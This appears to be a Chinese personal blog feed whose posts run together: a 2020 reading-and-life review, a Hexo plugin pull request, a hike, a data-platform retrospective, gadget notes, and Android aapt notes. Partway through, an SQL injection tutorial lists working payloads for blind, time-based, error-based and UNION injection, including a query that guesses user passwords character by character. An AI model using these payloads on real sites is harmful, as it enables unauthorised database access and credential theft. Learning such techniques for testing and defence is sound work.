这一年读完 28 本书,《读库》与《医学大神》系列,长篇小说如《霍乱时期的爱情》和《百年孤独》,村上春树的《且听风吟》与《挪威的森林》,其中除了《造彩虹的人》都是看的实体书。跟之前一样,基本都是在地铁通勤时间读的书。
话说书放久了,书页都变黄了,前段时间收拾之时还在想要不要把看完的书塑封起来,暂时是先收纳到箱子中。
当时没在豆瓣留下书评,现在过了这么久再来整理,只能写些还有印象的笔记和感悟了。
2020 年读完读库 2019 年的全部期刊,还挺有意思,这一年可以算的上读库专场了,包括下面的医学大神系列。下面写一些每一期中印象较深的文章:
医学大神是读库出品的系列图书,作者是朱石生,系列一共有十四册,内容如书名,每一册讲一位“大神”和其成名作的历史和相关科普。书本小巧,每册七八万字,适合在地铁上读,拿着很轻,翻看也很方便。作者将来龙去脉,人物纠葛都讲得很清楚,专业相关内容读起来也不会晦涩难懂,很适合做科普用途,理解一件事情的前因后果。
风流一生,愈活愈洒脱,懵懂少年已成商业大亨,晚年终会初恋情人,此一生便已落定。
“家族的第一个人被困在树上,最后一个人被蚂蚁吃掉。” 布恩迪亚七代人的魔幻生活,周而复始的重名,如出一辙的性格与命运,伴着马孔多由创立转兴盛,再到消逝。百年生活,孤独终老。
所有物质需求都得到满足,人就可以幸福了吗?有苦难才有幸福,有失去才有获得?
反乌托邦三部曲,1984和美妙的新世界都看过了,一个是思想管控高压统治,一个是物质富足精神空虚,按部就班没有活力。还有一本《我们》,这不,刚下单实体书。
作品描写了读骑士小说入迷的没落绅士吉哈达,自号堂吉诃德,试图用虚幻的骑士之道还世界以公正与太平,先后三次骑着老马出外行侠。他雇请崇尚实际的农夫邻居桑丘·潘萨作为侍从,与自己一起经历了风车大战、英勇救美、客栈奇遇、恶斗群羊、挑战雄狮、人地穴探奇等等奇特事变。他不分青红皂白,乱砍乱杀,不断闹出笑话,被人捉弄,屡遭惨败,直至临终之前才翻然醒悟。
很顺畅的阅读体验,渐渐代入,平平淡淡却言述一段人生,有好友有女友,有回忆有当下,很有趣的一部小说,值得一读。
阅读时长301分钟。文中出现了好多歌曲,或许得听一听,感受更深。几段情感,两次失去友人,悲伤终究是无法因感悟而消逝。读的不是很懂,兴许经历得终究是太少。
这是一本图文并茂,装帧精美的科普书,平日里默默无闻,安安静静的植物,在很多方面实际上也有先进之处。
无论是动物还是植物,都从经验中学习。植物看似静止,但却能以不变应万变,不断调整自身适应环境。植物其实是会动的,花朵绽放、叶片变化和根系生长等。利用动物传播种子,于四处生根发芽。人们习惯向动物学习,却忽视了植物这一古老的生命体。我们还可以从植物身上学到精妙的构造,利用植物构造淡水生态,探究太空植物的可行性等,方方面面皆可学习。失敬,植物先生!
一场海啸席卷而来,日本制纸石卷工厂受灾严重,员工们互帮互助,在工厂领导下收复厂房、重启机器,也在各界的帮助之下慢慢恢复。
读库的部分纸张来自这一工厂。
拖了挺久,地铁上看完的。 原来量子物理早就有了,影响了那么多学科,各行各业都在应用,神秘面纱微微掀起。
高密东北乡,上官家的传奇一生。 重男轻女,抗日,国共内战,大跃进,饥荒,经历了这么多,上官家的女人个个是好样的。 上官鲁氏在战乱年代含辛茹苦拉扯大八个子女,又看着女儿们一个个逝去,何尝不痛苦,何尝不辛酸,但那个年代,自身难保,唉。 官僚主义总能给平民百姓带来折磨,痛苦,无论何时,却又总会重复发生这样的事情。
许久之前看莫言得了诺贝尔文学奖,知道了这本书,但因为这个名字,如今方才去读。
“新人类”能够操纵光来表达自己,也能够通过查看别人身上的光来理解情绪,一个新人类出现,将“光乐”公开演奏,觉醒的人越来越多,周边势力暗潮涌动,进化的趋势,终归是无法阻挡的。也许暗喻新时代的年轻人,思想上有了更大的变化?
也许只有了解作者及相关时代背景才能更接近作者想要真正表达的意图吧。
一月底买了台电脑,配置还可以,主流的游戏都能玩,以前想玩的游戏现在都可以尝试了。
Steam 上买了几个游戏,包括 GTA5、荒野大镖客2、巫师3和死亡搁浅,最近玩的最多的是底特律:成为人类,沉浸式剧情类的游戏,第一次完整通关这类型的游戏,分别扮演三个仿生人角色进行冒险,剧情互相影响,不时会有让人难以抉择的选择出现,人物感情很鲜明,很有代入感,值得推荐。
可能这也是我不想考研的一个重要原因,工作以后有了自己的经济来源,很多事情可以去体验,自己的钱自己能够做主。可以自由地买喜欢的游戏、期刊和数码产品。在学校多待几年,或许学历是上了一个台阶,但这三年时间我更希望在社会中经历与成长,靠自己找到方向,而不是一直随大流,堆着学历往上,这是我个人的想法。当然,也可以从另一方面看待考研,新的学校,新的人脉圈子和氛围,平台毕竟还是不一样了,所以说这种事情就是看个人的选择、能力和想法了,自然不可一概而论。
影视剧看了 67 部,下面是节选的感想:
《爱在黎明破晓前》、《爱在日落黄昏时》和《爱在午夜降临前》,爱在三部曲,有趣的是,三部曲的上映时间都间隔九年。从火车上偶遇,越聊越投机,在维也纳渡过疯狂的一夜。九年之后,男主杰西成为畅销书作家,再次与席琳相遇。又过去九年,男女主结婚生子,柴米油盐,却还是如初见,互相聊得起劲。只是也会有争吵,却还是互相深爱着,感觉看尽一生。
《这个男人来自地球 The Man from Earth》,有趣的电影,纯剧情片,小木屋里聊了一集电影,不过节奏控制得很好,可以很舒服得享受这个故事。
《发条橙 A Clockwork Orange》,不再有暴力行为,却也不再有自己的道德判断,失去反抗能力。
《隐秘的角落》,高质量的悬疑国产短剧,麻雀虽小五脏俱全,剧情很紧凑很完整,讲的是一群“坏小孩”在山上目击命案,之后和凶手斗智斗勇的故事。
《请回答 1988》,很不错的韩剧,五家人的邻里情,孩子们从小玩到大,最后成了亲家。虽然随着时间迁移,大家都慢慢搬离了以前的胡同,但这段感情是怎么也不会断的。催泪预警。
《我是余欢水》,得了绝症不再畏首畏尾,反倒获得了尊重和机会,最后发现报告单弄错了,又打回原型,多么讽刺多么真实。国产小短剧,节奏不错,最后两集尤其精彩,值得推荐!
年前公司因为老板生病,投资没跟上,为了减少开支,根据 CFO 的建议进行了裁员,裁掉了十几个人。
技术部我的原 Leader 也离职了,我就临危受命成了 Technical Supervisor,接替了他负责的事情。从之前带着三个同事做项目,变成现在的任务:协调管理技术部 10 个同事,与其他部门对接,统筹跟进各种项目以及通过 Skype 和邮件跟海外开发者用英语沟通技术问题。
其实还是更希望主力做技术方面的事情,管理上就多了很多事情,当然也可以当做是锻炼多面的能力了。有个好处是,因为要和国外开发者沟通,只能用英文了,得到同事们的认可,更加确定了其实自己的英文还不错。也是,毕竟平时主看英美剧,阅读英文文档,英语水平还是有的。
接手一个月,因为工作环境的一些变革,终于强烈意识到自己在舒适区呆的有点久,学习成长上落下了。接下来,开始着手学习逆向开发,未来做安全方面的工作,这是自己真正感兴趣的事情,弯道绕太久怕是也难超车,不如现在就开始,加油!
今年开始有出去旅游了,和女朋友一起。之前除了工作就是宅,现在经常出去走走,身心放松,也增长了见识。
海边的海景房,为了“海景”,房型设计出来就不再“宜居”,入户门直通阳台,厨房卫生间卧室竖着排列出去,日常起居自然很不方便。不过倒是在有限的空间中放下了尽可能多的海景房,难怪都租给别人开民居了,不适合日常居住。
从阳台就能望到海,楼底下就是沙滩,景色宜人。不过去的时候天气正热,傍晚之后,温度才适宜。早晨起来能听到海浪拍打的声音,晚上能在阳台上吹海风跨天,平日里紧绷的神经还是能得到放松。
去了塘朗山公园,相比之后跟同学去的梧桐山来说,山上的小摊和店铺少很多,没地方买水,后来在山顶的一条小路处才找到小店,也不知道挂个牌子,店家也是任性。听说有的人还是通过百度地图才知道,脚下有个商店的。
山的高度一般,不过走走停停,看看风景聊聊天,也是极好的。
五年前跟还是高中同学的她,在昙华林一家饭店的记录本上各自留了一些话,这次总算回到昙华林。可惜的是,听别人说,那家店前不久因为疫情原因,经营不下去,准备转让了,现在店面已经关闭,里面的东西也都已经清走。
在武汉待了十几年,再次回到武汉,热干面、面窝、豆皮和蛋酒是少不了的。对于热干面,其实我最想念的还是高中门口的那家麦香园的味道,这次回去,发现高中在扩建,附近的老店铺都换了,好在麦香园还在,生意也一如既往的好。
时过境迁,五年之后再回到高中,还是挺感慨的。熟悉的公交,熟悉的路线,扩建中的学校以及身边的女朋友。
元旦一起去了长沙跨年,喝到了茶颜悦色,在女朋友的评价下,发觉这家“奶茶店”确实不错,主要是有些种类,能够保持茶的那种口感和清香,也不会太甜,例如风栖绿桂。
长沙的建筑,白天一看,其实是有些老旧。不过到了晚上,灯光一开,夜景还不错。长沙的小吃确实很有特色,也符合我们的口味,点个赞。
说起来一开始直奔五一广场,去了才发现人去楼空,也不知道是最近在装修还是什么原因。还是太平老街那边有特色,邵师父的梅菜扣肉饼真是绝了,真的好吃!
黑色经典的臭豆腐,费大厨的辣椒炒肉和炊烟时代的小炒黄牛肉,都很不错。
长沙的世界之窗就一般了,比不上深圳的世界之窗,最多算是一个游乐园。跨年夜,人山人海,排了将近两三小时的队才玩到一个大摆锤的项目。好在和女朋友一起排队,也不会无聊,聊天没带停的,就是站久了有点累。
年底牙痛,因为是晚上,再加上觉得做核酸检测比较麻烦,就去了牙科诊所看牙。不看不知道,一看吓一跳,之前的蛀牙几个月没管,现在变成深龋了。
诊所真贵,顺带两颗门牙,一共补三颗牙齿加上全牙扫描花了 1420。
年初五的时候再次牙痛,疼得抽抽,但是医生都还没上班。过完年就开始漫长的牙齿治疗之路了,根管治疗 2400+,牙冠修复 4100+,牙齿上花了快一万块。
大家平时还是要多注意牙齿问题,牙疼起来可要命,治疗起来也费钱。
去年年底开始接触理财,起因是同事几个月前开始买可转债,一天几百块的收益,当时我不相信,再一个不理解背后的规则,也不敢接触,等到后面关注了一个公众号“也谈钱”。有篇文章提到了一个建议,想开始理财的话,可以先买一些稳妥的指数基金,一旦投入了真金白银,自然而然地自己就会多关注,学习周边的知识,自此入坑。
一开始在且慢APP上根据四笔钱的理念,跟投了 长赢计划 和 我要稳稳的幸福 这两个组合。后面开始了解保险,又因为家里人出车祸,之后家里都配置了意外险。
这里推荐一下 有知有行APP,用过且慢小账本的现在可以使用这里的 有行记账 了,是同一个团队。同时软件里还有很多成体系的投资知识,可以学习一下。
通过群友的介绍,知道了蛋卷基金,跟投了 日积月累 组合。最近根据 也谈钱 的资产配置开始调整自己各个组合的比例。(下面是对应的资产配置表,仅供参考)
类别 | 投资策略 | 风格 | 计划仓位 | |
---|---|---|---|---|
核心资产(躺赚为主,80%) | 主动基金 | 富国天惠 161005 | 进取 | 20% |
主动基金 | 兴全趋势 163402 | 平衡 | 20% | |
跟投组合 | 长赢指数 | 平衡 | 20% | |
美股账户 | 永久组合 + 指数基金 | 防守 | 20% | |
非核心资产(一些主动操作,20%) | 混合 | 个股/其他基金/打新/套利/抄底 | 自由 | 20% |
备用金(不计入比例) | 混合 | 永久组合 + 现金 | - | - |
个人目前就是按照这个资产配置比例去重新调整下仓位,主要是跟长期的组合,短线的有了闲钱可以试试,当然不能用太多比例的钱。
]]><!-- more -->
,之前的内容成了摘要,显示在首页上,点击查看更多才跳转到正文页面。这是手动设置摘要的方法,也有插件可以实现自动选取摘要,例如这次我们要谈到的 chekun/hexo-excerpt: Automatic excerpt generator for Hexo,可以根据设置,以标签为单位进行摘要的选取,避免选取到不完整的内容。
有次在写短文的时候发现,即使除去摘要,正文没有更多内容时,首页还是会显示“查看更多”字样,于是发起了一个 Pull Request,尝试去修正这个问题,我提出的方案是短文不再自动生成摘要。
It seems to be confusing when excerpt is showed and there is no more content, so i add a condition to check if the length of moreNodes is more than zero.
这个更改当天就被合并到主分支了。
有趣的是,前几天查看,发现有个人因为这次更改碰到了问题,他发现他的短文章在主页上只剩下标题的日期,没有自动生成的摘要。所以他后续的 Pull Request 是把这个功能作为可选项加入配置文件中。
The change seems very odd to me, and definitely isn’t what I want from this module so I added a configuration option to switch between the behaviour introduced in that pull request and the previous behaviour.
叙述起来是很短的一件事,不过对我来说挺有纪念意义的,作为开源项目,许多用户都会用到,所以改动需要考虑大多数人的需求。这次我觉得是问题的,另一个用户反倒觉得是正常的,很有意思。确实,作为配置项会更好,这样用户可以自定义。
]]>最近约上几个同学去爬山,选中了深圳最高峰梧桐山,有个同学已经去过两次了。
坐地铁从深圳另一端过去,然后坐 211 到梧桐山总站下车,同学们住的地方不尽相同,路上基本都需要花上两三个小时。八九点出发,十一点到,也快到饭点就在山脚下吃了油泼面,买了几瓶水(后面发现是多余的,登山路边上都是卖水的,价格也还好,提前买的水还增加负重)。
话不多说,先放几张图,随手拍的,仅做记录啦。
在山泉这休息了一下,还发生了个小插曲,某同学去洗手把眼镜冲掉了,哥几个赶紧上去帮忙找找。
说起来我的体能还是差了,他们看起来都没什么事,从这之后我就有点累了,时不时的歇一歇。
陡峭的登山道,挺多人堵在这的,貌似是从石头中凿出来的路,想来在山上修路就更艰难了。哥几个的爬山节奏就是“冲冲冲”,偶尔歇一下然后赶上他们。
到好汉路了,此时已经过去一个半小时,这段公路后就到了好汉坡广场,有歇脚的地方,超市等。我们在广场稍作停留,合影留念,之后就继续登顶了,最后一段山路叫好汉坡。
这段路垂直高度得有两三百米,挺累的。
历时两小时二十一分,登顶成功!垂直爬升 956 米,里程数 5.89 公里。
山顶的个人演唱会~
听旁边的人说,这个人几乎每次都在这,在这梧桐山顶,办场个人演唱会,真是个有想法的人!
一点多,山顶还是很晒的,稍微休息一下,听了会歌,拍拍照,开始返程。
俗话说,上山容易下山难。下山不光要垂直做功,还得对抗自身的重力,膝盖和小腿发起强烈抗议。下楼梯的时候可以试着侧身,避免直接冲击到膝盖,略作缓冲,会相对没那么难受。
上山时有目标,有变化的崎岖,一鼓作气。下山时走的公路,就不免显得有些无聊与冗长,放点音乐,哥几个聊聊天。
平时还是要多户外运动,锻炼身体,心情也好一些。约上三五朋友,聊聊近况就挺好。
身体上感觉大腿酸痛,小腿酸痛 -。-ll,回家泡个热水脚,几天才恢复好。
梧桐山登山体验挺不错的,随处都有卖水、食物和登山用品的,这次的路线是大梧桐,小梧桐倒还没去过,有机会再去看看吧。
]]>这一阶段持续三个月,主要用于各个模块的需求分析和初步实现。
首先是需求分析,公司代理了挺多游戏,之前数据统计都是采用第三方统计平台,最近接到通知,说是其中一个平台不日将关闭这一业务。于是打算自建一个数据平台,来应对逐渐增加的游戏数据和客制化需求。
数据来源是手机应用中集成的统计 SDK 实时上报的用户行为、广告及内购数据,服务端收集到原始数据后先存储,之后定期执行分析程序,计算出定义好的几十种指标,并由前端界面以图表形式展示,支持导出报表。
公司和这个平台有长期合作关系,所以后续得到了他们一部分的项目源码,我这边只是略读了一下 pom.xml
看看他们用了哪些依赖。
大致了解了一下,应该是业界大数据处理分析方面的成熟方案了,不过考虑到团队这边后端只有两个人,这套方案估计是没时间也没人手去实施了。
限定了使用 Python 和 MongoDB 之后,相关的方案也确定下来了,核心就是使用最简单的方案,容易上手,后期根据实际需求优化重构,毕竟小公司,说实在数据量不是很多,再加上需要快速上线,很多时候就是在各种条件中进行权衡。
Tornado
,主要看重异步,并发性能。数据采集端包含 Android
iOS
JavaScript
三个平台,主要是根据平台特性收集相关的设备信息,用于区分和关联用户。MongoDB
直接存储 JSON
数据,数据处理模块根据各种指标的算法,构造出对应 MongoDB
语法的 pipeline 语句。jQuery
Bootstrap
和 Echarts
,主要是绘制图表展示计算出的若干数据指标。大概确定了技术方案,接下来就是熟悉相关的业务,准备迁移之前的游戏数据,做好兼容处理。
原先的数据平台实际挺成熟的,因此前期我们是直接沿用了那边的数据库表结构,这样最大化地兼容之前的数据,同时简化数据格式定义的过程。
花时间最多的是数据指标熟悉,几十上百个指标的定义,好在有相关说明文档,麻烦的主要是将这些指标的的算法翻译成 MongoDB 的 pipeline 语法,这样才能够将新的数据源计算出指标数值,然后写入 MySQL。
数据迁移方面,因为给到的服务器用户权限是受限制的,无法在服务器上直接执行脚本,而且登录需要通过跳板机,所以下载数据时还是折腾了一段时间。
方案确定之后,就开始各自开发了,前后端分离,接口定义通过 Postman | The Collaboration Platform for API Development 共享,跟外包的前端在微信上联系,边开发边对接,小步快跑。
前面大致的陈述了技术方案与开发流程,此后的详细进程就不再赘述,下面着重写一下开发过程中遇到的一些问题以及相关的改进措施。
项目运行一段时间后,发现许多数据上传请求出现 500 的响应,检查发现是过多请求同时占用,触发了 Nginx
的并发数限制,后续请求直接被拒绝了。
从日志中看到每次数据上传请求都需要几秒钟给到十几秒钟的响应时间,原来之前的实现里,接收到数据后直接同步写入数据库,大部分请求被卡在 IO 并且排队。
于是引入了消息队列,把数据收集和数据库写入操作分离开来, API 把收到的数据放入队列后,立即响应客户端,避免过多请求在队列中等待,占用资源。拆分一个专门处理数据的消费端,从队列中取出数据,处理后写入数据库。
选用了 Celery 框架搭配 RabbitMQ 服务,这个成熟框架支持多种实现,做了异步任务的包装,就不需要直接接触消息队列的细节。
数据平台首页是一个数据概览页面,会展示所有游戏的总和指标,同时也会列举每个游戏的总和指标,如总用户量、总收入等。
对于这种高频访问,较少修改的数据,我们引入了 Redis 来缓存这些数据。Redis 将数据都保存在内存中,可以用作数据库、缓存和消息分发。使用方式上,可以看做是读写键值对,所有数据由 key 跟 value 组成。
Redis 自身是支持许多数据类型的,字符串、列表、集合、哈希和字节数组等,也支持设置过期时间。
因为 Redis 的 key 是全局的,所以不同应用如果要共用,需要注意在 key 的命名规则上做好区分,避免冲突。不过 Redis 默认有 16 个数据库,可以作为命名空间使用。
虽说只有几个后端,前期各自开发自己的模块,互不冲突,但随着人事调动,每个人都或多或少的改起非自己开发的模块,这个时候就需要定好工作流,避免对同一个地方同时修改,避免冲突和覆盖等。
简化版的基础工作流大概是这样,数据收集、数据分析、数据展示这几个独立为项目,使用 Git 管理,默认分支 master,开发分支 dev。开发时使用 dev 分支进行测试,以完整的修改为最小单位进行 commit,准备提交到远程的代码仓库时,先 pull 下来检查是否有冲突,没有冲突后 push 上去。如果有冲突,由最后的提交者负责解决冲突与代码合并。
当然,严格这样执行的话,一般是不会出现冲突问题的,每个人都是基于相关文件最新版本来进行开发。
以完整的功能为单位,发起 Pull Request 将 dev 分支最近的修改合并到 master 分支,主开发进行代码评审,修改完成并审核通过后,合并代码,之后在生产环境部署 master 分支的代码。
从前文可以得知,数据平台这个项目拆分成若干模块,API 和负责数据分析的模块是不在一起的。在一个实时展示线上指标数据变化的功能实现时,我们引入了 gRPC 来实现模块之间的远程过程调用。
使用 gRPC 的原因有几个,包括其使用 protobuf 协议序列化的性能更好,支持多种语言(与公司另一个用 PHP 写的系统对接时可以用到),以及 RPC 带来的对调用方式的简化,调用方不需要处理网络方面的细节,只需要像调用本地方法一样执行即可。
于是一个实时页面的请求路径就成了这样: 前端异步请求 API 服务端,然后通过 gRPC 请求到数据分析模块,获取到响应后,数据沿着路径回到前端参与渲染。
项目运行在服务器上,日志是很重要的,用于排查错误、检查异常和数据分析等,毕竟线上发生的事情没办法事后回溯,就只能通过当时的日志去分析。记录日志的点也很重要,写的日志太多,会有很多无效的日志,也占用存储空间;写的日志太少,没办法获取到足够的有效日志来做分析。
在开发过程中,发现了 jonathanj/eliottree: Render Eliot logs as an ASCII tree ,如项目描述所说,经过自带工具处理后,它的日志是树形的,可以获得一定量的调用栈信息,实例如下:
1 | c8ae29b3-1321-48b7-89cd-7732663fcd2a |
目前来说,日志还是以文件形式存储,通过命令行工具查看和筛选。有尝试过使用 ELK Stack: Elasticsearch, Logstash, Kibana | Elastic 这一成熟方案来收集与分析日志,大致了解后发现这一方案挺吃性能的,而现实是我们的生产服务器剩余的性能是不够的,因此放弃了这一方案。
此前一段时间,我们项目组都只有一台服务器,开发阶段基本都是在本地跑起几个项目和数据库,只能说勉强够用。
开发服务器申请下来以后,能做的事就多多了,例如复刻生产环境的配置,拷贝最近的线上数据库来做测试,持续集成持续部署,远程开发这些都可以开始着手准备了。
作为一个不太规范的小项目组,单元测试和集成测试这些暂时还是没有的,不过利用 GitHub 的 Webhook ,在开发环境实现了简易的“自动部署”,原理就是监听代码仓库的 push 事件,然后执行 git pull
命令更新项目代码并重启服务。
最近用上了企业微信,将程序中部分地方的报错通过 HTTP 实时上报给告警应用,然后关联到企业微信,发送消息给相关开发者。
Docker 容器我也有尝试过,不过开发需求一直有,也没多少时间去研究,暂时搁置。
大致了解过 Docker,通过 Linux 自带的 clone(2) 这一系统调用,通过 flags 参数,可以实现进程、命名空间等资源的隔离。
目前我觉得主要用途是,通过配置文件指定各种依赖以及部署过程,可以做到简化部署和维护,不同容器之间相互隔离,适合微服务,可以很快的进行部署,扩容等操作。
近一年来购置了许多苹果设备,这次来写一写我正在使用的电子设备。
工作以后,有了自己的经济收入,想着添置一台游戏机犒劳下自己。先是在网上买了二手的 Ninetendo 3DS 和 Sony PSP-1000,想着先试试看任天堂和索尼这两家上面可以玩到的游戏,然后发现更喜欢任天堂的游戏风格,第一方的塞尔达、马里奥和星之卡比都很不错。
于是下单买了任天堂当前世代的 Switch 主机,前两个游戏就是马里奥奥德赛和塞尔达旷野之息,确实好玩,纯粹的乐趣,特别喜欢开放世界,马里奥奥德赛的箱庭世界也很不错,极低的死亡惩罚和多样的乐趣,很值得。
MBP 是我入手的第一台苹果设备了,起因是看到部门里其他都是用的都是公司配置的苹果电脑,觉得显示效果很清晰,再加上平时也喜欢折腾电子产品,就开始各种查资料,看视频。
最后从淘宝的麦克先生处购买了这台电脑,信用卡 24 期免息,确实贵。不过上手以后还是挺满意的,一个是 macOS 这个系统对开发很友好,相比 Linux 在桌面端有更多软件,相比 Windows 在开发环境配置上天然的更好用一些。然后 Retina 的显示效果确实好很多,还是蛮值得的。
平板其实不太需要,买之前想着屏幕大,用来看一些 PDF 会方便学习,结果买来以后就各种看剧了。先买的 iPad 2018 ,不是全贴合屏,给家里用了。然后过段时间又买了 iPad Air 3,平时在家看看影视剧,还是可以的。
电脑和平台都买了,苹果的无线耳机也就自然而然的跳出来。搭配不同设备使用,切换都很舒服。AirPods 很轻,戴在耳朵上基本无感。
某次体验了同事的华为降噪耳机,觉得降噪效果很不错,在办公室隔绝干扰很有用,于是入手了 AirPods Pro。没有 AirPods 戴着舒服,不过降噪效果可以的,在办公室和地铁上基本就用这个耳机,安静专注很多。
入手 iPhone 11 主要是经常需要切换应用,之前使用的是小米 Note3 ,还不是全面屏,没有全面屏手势。再一个,手机跟电脑组个全家桶也挺不错的。相比 Android 在应用的文件和权限管理上要好上很多,不会在相册中发现莫名的图片,文件中发现各种应用自建的目录,也不会说不给权限就不能用。
iOS 自带的应用也挺不错的,我自己常用的有备忘录和日历,备忘录用来记待办事项,日历用来记日程安排。配合上 iCloud 的多设备同步,体验蛮好的。
苹果全家桶逐渐凑齐,我盯上了 Apple Watch,然后开始为它寻找用途。
用了几个月,实际感受也还不错。早上手表上的闹钟震动叫醒,随时看下时间,坐地铁时可以刷手表,久坐提醒,每天看看健身圆环有没有满,督促自己锻炼。刚买来手表时最长连续坚持了 57 天的打卡,看着圆环补上,轻微强迫症的我很满足。
外接触控板键盘之后,可以开启 Apple Watch 解锁电脑的开关,这样屏幕亮起的时候就可以直接解锁了,挺方便的。
之前笔记本是通过支架倾斜着使用的,久了还是手不太舒服,同时屏幕高度不够,对颈椎也不好。
很早之前就了解过 HHKB,原来用着的键盘是 GANSS 的 ALT61,也是小键位,不过在 macOS 上用,感觉键位还是不太合理,经常会按错。思前想后还是入手了 HHKB 经典版的白色有刻,搭配苹果的妙控板。
买妙控板主要是觉得触控板的手感很不错,替换鼠标也不会有影响,然后也能够继续支持 macOS 的手势操作。
这几天使用下来,挺值得,毕竟程序员嘛,每天相处最长时间的可能就是键盘了,用点好的习惯的,对自己好点。
]]>关键点是 根据页面返回内容分析 Payload 中的问题是否为真,然后通过多次测试遍历出想要的数据
目标地址:http://newspaper.com/items.php?id=2
对应的SQL语句:SELECT title, description, body FROM items WHERE ID = 2
然后攻击者尝试返回 false 的查询:http://newspaper.com/items.php?id=2 and 1=2
对应的SQL语句:SELECT title, description, body FROM items WHERE ID = 2 and 1=2
如果网页应用存在 SQL 注入漏洞,那么其可能不会返回数据。为了确认这一点,攻击者会再次注入一次返回 true 的查询:http://newspaper.com/items.php?id=2 and 1=1
如果前后两次查询返回的网页内容不同,攻击者就能够通过组合 Payload 遍历出想要的数据。
猜测密码的首字符是否为 ‘2’,是的话等待10秒。
对应 MySQL 语句为 1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
完整的语句如 SELECT * FROM xxx WHERE id=1 AND ({Payload}),{Payload} 详细内容见下文
关键点是 构造错误信息,让自己想要的数据被输出到错误信息中
SELECT COUNT(*), CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x
RAND(0)
0为随机函数的种子,该函数产生浮点数v,且v的范围为 0 <= v < 1.0FLOOR(X)
取不大于 X 的最大整数FLOOR(RAND(0)*2)
返回 0 或 10x3a
是 “:” 的 Unicode,单纯为了拼接好看CONCAT()
拼接字符串GROUP BY
按拼接字符串分组COUNT(*)
记录的总数,这里会阻止 GROUP BY
直接优化得到 0 和 1 的结果结合以上内容,当 FLOOR(RAND(0)*2)
出现重复值时,数据库会报错,报错信息类似 Error: Duplicate entry ‘5.1.73-0ubuntu0.10.04.1:1’ for key ‘group_key’
这样我们就可以从报错信息中获取到我们想要的信息,这次是数据库版本。
rand
的结果是随机的,也可以选择以下两种函数来构造错误信息。
Description: 查询 XML 文档的函数
Payload: ExtractValue(1,CONCAT(0x7e,(SELECT version()),0x7e))
Output: - XPATH syntax error: '~5.5.53~'
Description: 修改 XML 文档的函数
Payload: UpdateXml(1,concaCONCATt(0x7e,(SELECT user()),0x7e),1)
Output: - XPATH syntax error: '~5.5.53~'
UNION 语句合并多个 SELECT 语句的结果并返回
关键点:UNION
连接的多个 SELECT
语句中,每一列的数据类型应该相同,且选中相同数量的列。对于 Oracle 数据库,还要求 SELECT
必须使用 FORM
指定一个有效的表名。
ORDER BY <column_index>
依次使用以下序列中的语句,直到报错,如 The ORDER BY position number 3 is out of range of the number of items in the select list,进而确认列的数量。
1 | 1 ORDER BY 1-- |
UNION SELECE NULL,...
NULL
可以被转为任意数据类型,所以这里可以用来作为返回值。
依次使用以下序列中的语句,直到报错,如 All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists,进而确认列的数量。
1 | 1 UNION SELECT NULL-- |
同样的,可以依次尝试以下序列:
1 | 1 UNION SELECT 'a',NULL,NULL,NULL-- |
如果对应的列与字符串类型不兼容,就会报错,如 Conversion failed when converting the varchar value ‘a’ to data type int ,所以如果不报错,我们就找到了字符串类型的列。
注入点一般在 WHERE
处,使用 1 AND false UNION SELECT ...
将原有输出覆盖。
堆叠注入指的是被注入方允许同时执行多条语句,那么攻击者就可以利用额外的语句完成任何操作。
成功注入后,接下来的流程一般是:
近来重新打包 APK 时发现,会有 R.type.id 找不到的报错,花两天时间研究了下 R 文件与 aapt 工具并解决了问题,这里记录一下。
为了解答这些问题,我通过搜索引擎查看了 StackOverflow(问答),Android Developers(官方文档),GitHub(源码,有 android Git repositories - Git at Google 的镜像)。
之前虽然也在用打包工具,但是这次遇到的问题确实没研究过,在研究过程中引申出以下这些问题:
When your application is compiled, aapt generates the R class, which contains resource IDs for all the resources in your res/ directory. For each type of resource, there is an R subclass (for example, R.drawable for all drawable resources), and for each resource of that type, there is a static integer (for example, R.drawable.icon). This integer is the resource ID that you can use to retrieve your resource.
R.class
由 aapt
工具生成,包含应用中 res
目录下所有资源的ID。其中,对应每个资源类型,都有 R 的子类对应创建。(如 R.drawable
对应所有 drawable 资源)
At build time, the aapt tool collects all of the resources you have defined (though separate files or explicit definitions in files) and assigns resource IDs to them.
A resource ID is a 32 bit number of the form: PPTTNNNN. PP is the package the resource is for; TT is the type of the resource; NNNN is the name of the resource in that type. For applications resources, PP is always 0x7f.
…
Once the resources are compiled and identifiers assigned, aapt generates the R.java file for your source code and a binary file called “resources.arsc” that contains all of the resource names, identifiers, and values (for resources that come from separate file, their value is the path to that file in the .apk), in a format that can easily mapped and parsed on the device at runtime.
You can get a summary of the resources.arsc file in an apk with the command “aapt dump resources“.
一般情况下,R 文件中的 ID 都是随机生成的。运行时通过 ID 在 resources.arsc
文件中映射为实际的资源文件。
从哪里可以看出 ID 的组合规则呢?下面是单个资源的结构声明:
1 | /** |
可以从这个结构体的注释中看出,资源 ID 的组成规则为 PPTTEEEE,其中:
生成规则是选定范围,随机为每个资源指定唯一的ID,ID尽可能分布在范围之内。相关源码:platform_frameworks_base/IdAssigner.cpp
这个命令可以编译所有类型的 Android 资源,例如 drawables 和 XML 文件。
每次只编译单个文件,可以有效利用增量编译的特性,避免重复进行全量编译。(可以使用 --dir
参数指定文件夹)
aapt2 compile path-to-input-files [options] -o output-directory/
链接阶段,aapt2 会将编译阶段生成的所有中间文件合并,并且打包到 APK 中。(这个 APK 不包含 DEX 代码也没有签名,所以不能用于发布。)
aapt2 link path-to-input-files [options] -o outputdirectory/outputfilename.apk --manifest AndroidManifest.xml
这一阶段可以生成 R 文件,相关的命令参数如下:
--java directory
指定生成 R.java 的目录--extra-packages package_name
使用不同的包名生成同样的 R.java 文件如果使用到 Android 命名空间下的资源,需要通过 -I path
这个参数来传入对应平台的 android.jar
或者 framework-res.apk
在解决问题的过程中,尝试过查看 iBotPeaches/Apktool: A tool for reverse engineering Android apk files 的源码,想参考下它使用的
aapt link
参数列表。
1 | if (include != null) { |
向上查找这里的 include 参数,发现传入的是 Framework Files
,下文解释。
As you probably know, Android apps utilize code and resources that are found on the Android OS itself. These are known as framework resources and Apktool relies on these to properly decode and build apks.
框架文件包含 Android OS 自带的一些资源,apktool
这个工具也预置框架文件,在不同系统上的目录如下:
$HOME/.local/share/apktool
%UserProfile%\AppData\Local\apktool
$HOME/Library/apktool
